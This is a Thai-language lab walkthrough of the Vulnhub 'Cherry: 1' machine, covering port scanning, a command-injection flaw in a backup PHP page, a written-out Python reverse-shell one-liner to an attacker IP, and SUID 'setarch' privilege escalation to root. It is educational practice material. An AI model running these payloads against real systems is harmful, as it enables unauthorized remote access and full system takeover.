Vulnhub walkthrough : Cherry1

Datafarm
4 min readNov 25, 2020

--

สวัสดีทุกคนนนนนนน กลับมาเจอกันอีกแล้วกับ Weekly Content เป็นไงกันบ้างครับวันหยุดยาวไปเที่ยวไหนกันมาบ้าง เชื่อว่าหลาย ๆ คนที่กลับมาจากไปเที่ยวคงจะรู้สึกอยากนอนต่ออีกซัก 2–3 วันแน่นอน ซึ่งถ้าใครเบื่อ ๆ ก็มาอ่านบทความของแอดกันก่อนได้นะครับไม่รู้จะช่วยให้หายเบื่อได้รึเปล่า แต่อย่างน้อยก็อ่านฆ่าเวลาได้นะ 5555

เมื่อวานแอดนั่งดู Lab ในเว็บ vulnhub ไปเรื่อยเปื่อยว่ามันมีอัปเดทอะไรบ้าง เพราะ ช่วงหลัง ๆ ด้วยความที่งานเยอะม๊ากกกกกกกกก็ไม่ได้เข้าไปเล่นเลย ด้วยความที่ไม่ได้เล่นนานก็เลยลองสุ่มมาเล่นซัก 1 Lab

แอดเลือก machine ที่มีชื่อว่า CHERRY: 1 มาเล่นซึ่งจากข้อมูลเบื้องต้น คือ ระดับความยากอยู่ที่ Easy และเป้าหมายที่แอดต้องทำคือการยึดสิทธิ์ root บนเครื่องแล้วอ่าน flag ที่อยู่ใน Path /root รู้อย่างนี้แล้วมาทำไปพร้อมกันเลยดีกว่า

Phase1: RECON

เริ่มแรกเวลาจะ Hack server ซักเครื่อง สิ่งที่ต้องทำเลย คือ ต้องหาข้อมูลเกี่ยวกับเครื่อง server ให้ได้มากที่สุดเพื่อหาหนทางหรือช่องโหว่ที่จะนำไปสู่การเข้ายึดครองระบบได้ แอดใช้ nmap ในการสแกน server ก่อนเลย

nmap -sVC -p- -n -Pn 192.168.79.132 -vvv -oN cherry_allport

จะเห็นว่ามี service ที่กำลังทำงานอยู่ดังนี้

port 22 => sshport 80 => httpport 7755 => httpport 33060 => mysql

ซึ่งจากข้อมูลนี้แอดสนใจไปที่ port 7755 ก่อนเลย เพราะ ปกติถ้าเป็น http หรือ web server จะถูกใช้งานที่ port 80 แต่เครื่องนี้มีการใช้งานที่ port 7755 ด้วยเลยคิดว่าลองเข้าไปเช็คที่ port นี้ก่อนเลยแอดเข้าไปที่ http://192.168.79.132:7755

เข้ามาแล้วก็เป็นหน้าโล่ง ๆ มีรูปเชอร์รี่อยู่แค่นั้นเลย ไม่มีอย่างอื่นอยู่เลย แอดเลยใช้ gobuster ในการสแกนหา directory หรือไฟล์ต่าง ๆ ที่มีอยู่บน server ด้วยคำสั่ง

gobuster -u “http://192.168.79.132:7755" -w /opt/SecLists/Discovery/Web-Content/common.txt

จะเห็นว่ามี directory ที่น่าสนใจอยู่ 1 อัน คือ /backup แอดเลยลองเข้าไปที่พาธนี้แล้วก็เจอช่องโหว่ที่มีชื่อว่า Directory Listing นั่นเองครับ

Directory Listing หรือ Directory Indexing เดิมทีมันเป็นฟีเจอร์ของ webserver ครับ หากเปิดใช้งานฟีเจอร์นี้ (ปกติจะถูก disable ไว้) แล้วใน directory ใด ๆ บน webserver ที่ไม่มีไฟล์ index เช่น index.php, index.html ฯลฯ เมื่อเราเข้าไปที่ directory นั้น webserver จะแสดงรายชื่อไฟล์และ sub directory ที่มีออกมาทั้งหมดนั่นเอง ซึ่งถ้าหากมีไฟล์สำคัญ ๆ ที่เก็บไว้ก็จะทำให้แฮกเกอร์สามารถดูข้อมูลไฟล์ต่าง ๆ ได้ ในทาง security ก็เลยนับว่ามันเป็นความเสี่ยงนั่นเอง

ซึ่งจากรูปจะเห็นว่ามีไฟล์ต่าง ๆ ถูกแสดงออกมา จากนั้นแอดก็เลยลองเข้าไปไล่ดูตั้งแต่ไฟล์แรกที่ common.php

เอ…….ไม่มีอะไรเลยนอกจากหน้าว่าง ๆ หน้านึง

.

.

.

.

แต่โดยปกติของคนทำงานสายนี้ส่วนใหญ่สิ่งที่จะทำเวลาที่เจอหน้าว่าง ๆ เลยคือ CRTL + U หรือ View Page Source นั่นเอง

เห็นอะไรมั้ยครับ ตัวเขียว ๆ นั่นเป็น comment ในภาษา HTML ดูแล้วเป็นโค้ดของภาษา PHP ซึ่งมีโอกาสสูงที่เป็นโค้ด Backend ของ common.php

Phase2 : RCE

จากข้อมูลที่ได้มาจาก Phase1 ทำให้เรารู้โค้ด Backend ของหน้า common.php ซึ่งจากที่เห็นโค้ดนี้จะมีการใช้ฟังก์ชัน passthru() โดยการรับค่าตัวแปรที่ชื่อว่า backup มาด้วย GET Method นั่นแปลว่าแอดสามารถสั่งรันคำสั่งต่าง ๆ บน server ได้ด้วยการทำแบบนี้ http://192.168.79.132:7755/backup/command.php?backup=ls -la แล้วก็จะได้ผลลัพธ์ออกมาเป็นแบบนี้ครับ

แอดสามารถใช้คำสั่ง ls -la บน server ได้แล้วรวมถึงคำสั่งอื่น ๆ ด้วย ทีนี้แอดจะทำ Reverse shell ด้วยการใช้……….…

Reverse Shell คือ การส่งคำสั่งบางอย่างไปที่เครื่องเหยื่อแล้วทำให้เครื่องเหยื่อเชื่อมต่อกลับมาที่เครื่องแฮกเกอร์นั่นเอง แล้วหลังจากนั้นแฮกเกอร์ก็จะเข้าใช้งานเครื่องเหยื่อได้ตามชอบราวกับนั่งอยู่หน้าเครื่องเหยื่อนั่นเองฮะ

……..…มาต่อ แอดจะทำ Reverse shell ด้วยการใช้คำสั่ง

python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“HACKER’S IP”,PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’

ซึ่งแอดก็ไปเอามาจาก PayloadAllTheThings อีกที เอาล่ะมาเริ่มทำ reverse shell ดีกว่า ขั้นแรกเปิดรับ connection ที่เครื่องแอดบน port 4444

จากนั้นใส่สคริปต์ python ลงไปแทน ls -la ที่พารามิเตอร์ backup

จากนั้นกลับมาดูที่เครื่องแอดก็จะเห็นว่าที connection ต่อกลับมาจากเครื่อง cherry นั่นเอง

Phase3 : PRIVILEGE ESCALATION

ขั้นต่อมาหลังจากที่เข้ายึดเครื่อง cherry ได้แล้วก็ต้องเข้าไป flag ที่อยู่ใน /root ให้ได้ซึ่งการที่จะอ่านได้ก็จะต้องยกสิทธิ์จากสิทธิ์เว็บเป็นสิทธิ์เทพทรูบนระบบก่อน (ยกจาก www-data เป็น root นั่นเอง) ซึ่งวิธีการยกสิทธิ์ก็มีหลายวิธีครับแล้วแต่สถานการณ์ แต่วิธีนึงที่แอดจะลองใช้เสมอ คือ การหาโปรแกรมที่ถูกตั้ง SUID bit ไว้ครับ

SUID bit คือ การตั้งสิทธิ์พิเศษให้กับโปรแกรมต่าง ๆ ซึ่งจะทำให้เมื่อ user ใด ๆ ที่มาใช้งานโปรแกรม โปรแกรมจะไม่ได้ทำงานในสิทธิ์ของคนที่ใช้แต่จะทำงานในสิทธิ์ของเจ้าของโปรแกรมนั่นเอง

จากภาพโปรแกรมที่ถูกตั้ง SUID ไว้ ในส่วนสิทธิ์ชุดแรกจาก x จะถูกเปลี่ยนเป็น s ครับ จากภาพตัวอย่างโปรแกรม sudo ถูกตั้ง SUID ไว้ซึ่ง owner ของโปรแกรมนี้ คือ root ในกรณีที่ user ธรรมดามาใช้งาน sudo ก็จะเป็นเหมือนการใช้งานด้วยสิทธิ์ root นั่นเอง

ทีนี้มาต่อที่ Lab แอดใช้คำสั่ง find / -perm -u+s -type f 2>/dev/null ในการหาว่ามีไฟล์ไหนบ้างที่ถูกตั้ง SUID ไว้

จะเห็นมีหลายโปรแกรมที่ถูกตั้ง SUID bit ซึ่งบางโปรแกรมนั้นการตั้ง SUID bit ไว้นั้นก็เป็นเรื่องปกติ แต่บางอันก็ไม่ได้จำเป็นตั้ง SUID bit ซึ่งจากที่หาข้อมูลก็เจอว่า /bin/setarch นั้นน่าจะใช้ในการยกสิทธิ์ได้ เพราะแอดลองดูในเครื่อง ubuntu ของแอดเองก็เจอว่า setarch นั้นถูกไม่ได้ถูกตั้ง SUID bit ไว้โดย default เลยลองหาวิธีใช้ดูจาก man page

และจากที่ google ก็เจอวิธีการใช้แบบนี้ครับ

แล้วก็เลยลองใช้ดูตามนี้ setarch x86_64 /bin/sh -p แล้วก็เรียบร้อยครับตอนนี้มีได้สิทธิ์เป็น root แล้วอ่าน flag ได้แล้วครับ

จาก Lab นี้เลยจะเห็นว่ามันไม่ได้ยากและไม่มีอะซับซ้อนมากนัก แต่ถ้าใครเป็นคนที่พึ่งเริ่มศึกษาทางด้าน Hacking ต้องบอกว่า Lab นี้ก็ค่อนข้างเหมาะกับมือใหม่ เพราะ ทุกอย่างไม่ซับซ้อนช่องโหว่ก็เห็นได้ชัด ๆ เลยว่าคืออะไร รวมถึงยังได้ความรู้การยกระดับสิทธิ์ด้วยท่า SUID bit อีกด้วย สำหรับใครที่ต้องการฝึก Hack แบบไม่ผิดกฎหมายก็แนะนำ Lab ในเว็บ vulnhub เลยครับ หรือ Hackthebox ก็ได้ครับ

สำหรับทความนี้ถ้ามีข้อมูลอะไรตรงไหนที่ผิดพลาดไปก็ทักแชทมาบอกได้นะครับเดี๋ยวจะแก้ไขให้ถูกต้อง ส่วนวันนี้แอดขอลาไปก่อน Happy Hacking นะครับทุกคนน 😊

--

--